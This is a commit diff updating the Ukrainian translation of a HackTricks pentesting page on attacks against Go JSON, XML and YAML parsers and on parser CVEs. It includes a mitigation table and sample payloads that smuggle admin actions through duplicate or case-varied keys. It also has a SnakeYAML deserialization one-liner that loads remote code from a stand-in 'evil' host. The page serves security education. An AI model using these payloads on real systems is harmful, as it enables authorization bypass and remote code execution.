mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to uk
This commit is contained in:
parent
2a751150a4
commit
a8c5f67a0a
@ -6,13 +6,13 @@
|
|||||||
|
|
||||||
Наступні проблеми були виявлені в Go JSON, хоча вони можуть бути присутніми і в інших мовах. Ці проблеми були опубліковані в [**цьому блозі**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
|
Наступні проблеми були виявлені в Go JSON, хоча вони можуть бути присутніми і в інших мовах. Ці проблеми були опубліковані в [**цьому блозі**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
|
||||||
|
|
||||||
JSON, XML та YAML парсери Go мають довгий список несумісностей та небезпечних за замовчуванням налаштувань, які можуть бути використані для **обходу аутентифікації**, **ескалації привілеїв** або **екстракції чутливих даних**.
|
JSON, XML та YAML парсери Go мають довгий список невідповідностей та небезпечних за замовчуванням налаштувань, які можуть бути використані для **обходу аутентифікації**, **ескалації привілеїв** або **екстракції чутливих даних**.
|
||||||
|
|
||||||
### (Un)Marshaling Unexpected Data
|
### (Un)Marshaling Unexpected Data
|
||||||
|
|
||||||
Мета полягає в тому, щоб експлуатувати структури, які дозволяють зловмиснику читати/записувати чутливі поля (наприклад, `IsAdmin`, `Password`).
|
Мета полягає в тому, щоб експлуатувати структури, які дозволяють зловмиснику читати/записувати чутливі поля (наприклад, `IsAdmin`, `Password`).
|
||||||
|
|
||||||
- Приклад структури:
|
- Example Struct:
|
||||||
```go
|
```go
|
||||||
type User struct {
|
type User struct {
|
||||||
Username string `json:"username,omitempty"`
|
Username string `json:"username,omitempty"`
|
||||||
@ -42,7 +42,7 @@ IsAdmin bool `json:"-,omitempty"` // ❌ wrong
|
|||||||
```json
|
```json
|
||||||
{"-": true}
|
{"-": true}
|
||||||
```
|
```
|
||||||
✔️ Правильний спосіб заблокувати поле від (де)маршалінгу:
|
✔️ Правильний спосіб заблокувати поле від (не)маршалізації:
|
||||||
```go
|
```go
|
||||||
type User struct {
|
type User struct {
|
||||||
IsAdmin bool `json:"-"`
|
IsAdmin bool `json:"-"`
|
||||||
@ -50,21 +50,21 @@ IsAdmin bool `json:"-"`
|
|||||||
```
|
```
|
||||||
### Parser Differentials
|
### Parser Differentials
|
||||||
|
|
||||||
Мета полягає в обході авторизації шляхом використання того, як різні парсери по-різному інтерпретують один і той же payload, як у:
|
Мета полягає в обході авторизації шляхом використання того, як різні парсери по-різному інтерпретують один і той же корисний навантаження, як у:
|
||||||
- CVE-2017-12635: обходження Apache CouchDB через дублікати ключів
|
- CVE-2017-12635: обходження Apache CouchDB через дублікати ключів
|
||||||
- 2022: Zoom 0-click RCE через непослідовність XML парсера
|
- 2022: Zoom 0-click RCE через несумісність XML парсера
|
||||||
- GitLab 2025 обходження SAML через особливості XML
|
- GitLab 2025 обходження SAML через особливості XML
|
||||||
|
|
||||||
**1. Дублікати полів:**
|
**1. Дублікати полів:**
|
||||||
Go's `encoding/json` бере **останнє** поле.
|
Go's `encoding/json` бере **остання** поле.
|
||||||
```go
|
```go
|
||||||
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
|
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
|
||||||
fmt.Println(req.Action) // AdminAction
|
fmt.Println(req.Action) // AdminAction
|
||||||
```
|
```
|
||||||
Інші парсери (наприклад, Jackson від Java) можуть взяти **перший**.
|
Інші парсери (наприклад, Java’s Jackson) можуть взяти **перший**.
|
||||||
|
|
||||||
**2. Нечутливість до регістру:**
|
**2. Нечутливість до регістру:**
|
||||||
Go нечутливий до регістру:
|
Go є нечутливим до регістру:
|
||||||
```go
|
```go
|
||||||
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
|
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
|
||||||
// matches `Action` field
|
// matches `Action` field
|
||||||
@ -91,7 +91,7 @@ json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
|||||||
|
|
||||||
### Плутанина формату даних (Поліглоти)
|
### Плутанина формату даних (Поліглоти)
|
||||||
|
|
||||||
Мета полягає в експлуатації систем, які змішують формати (JSON/XML/YAML) або не закриваються при помилках парсера, такі як:
|
Мета полягає в експлуатації систем, які змішують формати (JSON/XML/YAML) або не блокують помилки парсера, такі як:
|
||||||
- **CVE-2020-16250**: HashiCorp Vault розпарсив JSON за допомогою XML парсера після того, як STS повернув JSON замість XML.
|
- **CVE-2020-16250**: HashiCorp Vault розпарсив JSON за допомогою XML парсера після того, як STS повернув JSON замість XML.
|
||||||
|
|
||||||
Зловмисник контролює:
|
Зловмисник контролює:
|
||||||
@ -108,21 +108,57 @@ XML парсер Go розпарсив його **все одно** і дові
|
|||||||
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
|
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Результат:
|
|
||||||
- **Go JSON** парсер: `Action_2` (нечутливий до регістру + останній виграє)
|
- **Go JSON** парсер: `Action_2` (нечутливий до регістру + останній виграє)
|
||||||
- **YAML** парсер: `Action_1` (чутливий до регістру)
|
- **YAML** парсер: `Action_1` (чутливий до регістру)
|
||||||
- **XML** парсер: парсить `"Action_3"` всередині рядка
|
- **XML** парсер: парсить `"Action_3"` всередині рядка
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
### 🔐 Заходи пом'якшення
|
## Помітні вразливості парсерів (2023-2025)
|
||||||
|
|
||||||
| Ризик | Виправлення |
|
> Наступні публічно експлуатовані проблеми показують, що небезпечний парсинг є проблемою багатьох мов — це не лише проблема Go.
|
||||||
|-----------------------------|---------------------------------------|
|
|
||||||
| Невідомі поля | `decoder.DisallowUnknownFields()` |
|
|
||||||
| Дублікати полів (JSON) | ❌ Немає виправлення в stdlib |
|
|
||||||
| Нечутливе співпадіння | ❌ Немає виправлення в stdlib |
|
|
||||||
| XML сміттєві дані | ❌ Немає виправлення в stdlib |
|
|
||||||
| YAML: невідомі ключі | `yaml.KnownFields(true)` |
|
|
||||||
|
|
||||||
|
### SnakeYAML десеріалізація RCE (CVE-2022-1471)
|
||||||
|
|
||||||
|
* Впливає на: `org.yaml:snakeyaml` < **2.0** (використовується Spring-Boot, Jenkins тощо).
|
||||||
|
* Корінна причина: `new Constructor()` десеріалізує **произвольні Java класи**, дозволяючи ланцюги гаджетів, які закінчуються виконанням віддаленого коду.
|
||||||
|
* Однорядковий PoC (відкриє калькулятор на вразливому хості):
|
||||||
|
```yaml
|
||||||
|
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
|
||||||
|
```
|
||||||
|
* Виправлення / Пом'якшення:
|
||||||
|
1. **Оновіть до ≥2.0** (використовує `SafeLoader` за замовчуванням).
|
||||||
|
2. У старих версіях явно використовуйте `new Yaml(new SafeConstructor())`.
|
||||||
|
|
||||||
|
### libyaml Double-Free (CVE-2024-35325)
|
||||||
|
|
||||||
|
* Впливає на: `libyaml` ≤0.2.5 (C бібліотека, що використовується багатьма мовами).
|
||||||
|
* Проблема: Виклик `yaml_event_delete()` двічі призводить до подвійного звільнення, яке зловмисники можуть перетворити на DoS або, в деяких сценаріях, експлуатацію купи.
|
||||||
|
* Статус: Вгору відхилено як “неправильне використання API”, але дистрибутиви Linux випустили виправлену версію **0.2.6**, яка захищає вказівник, обнуляючи його.
|
||||||
|
|
||||||
|
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
|
||||||
|
|
||||||
|
* Впливає на: Tencent **RapidJSON** до коміту `8269bc2` (<1.1.0-patch-22).
|
||||||
|
* Помилка: У `GenericReader::ParseNumber()` неконтрольована арифметика дозволяє зловмисникам створювати величезні числові літерали, які обертаються і пошкоджують купу — в кінцевому підсумку це дозволяє підвищити привілеї, коли отримана граф об'єктів використовується для прийняття рішень про авторизацію.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 🔐 Пом'якшення (Оновлено)
|
||||||
|
|
||||||
|
| Ризик | Виправлення / Рекомендація |
|
||||||
|
|-------------------------------------|------------------------------------------------------------|
|
||||||
|
| Невідомі поля (JSON) | `decoder.DisallowUnknownFields()` |
|
||||||
|
| Дублікати полів (JSON) | ❌ Немає виправлення в stdlib — перевірте за допомогою [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
|
||||||
|
| Нечутливе співпадіння (Go) | ❌ Немає виправлення — перевірте теги структур + попередньо канонізуйте вхідні дані |
|
||||||
|
| XML сміттєві дані / XXE | Використовуйте посилений парсер (`encoding/xml` + `DisallowDTD`) |
|
||||||
|
| YAML невідомі ключі | `yaml.KnownFields(true)` |
|
||||||
|
| **Небезпечна десеріалізація YAML** | Використовуйте SafeConstructor / оновіть до SnakeYAML ≥2.0 |
|
||||||
|
| libyaml ≤0.2.5 подвійне звільнення | Оновіть до **0.2.6** або виправленої версії дистрибутива |
|
||||||
|
| RapidJSON <виправлений коміт | Скомпілюйте проти останнього RapidJSON (≥липень 2024) |
|
||||||
|
|
||||||
|
## Посилання
|
||||||
|
|
||||||
|
- Baeldung – “Вирішення CVE-2022-1471 з SnakeYAML 2.0”
|
||||||
|
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user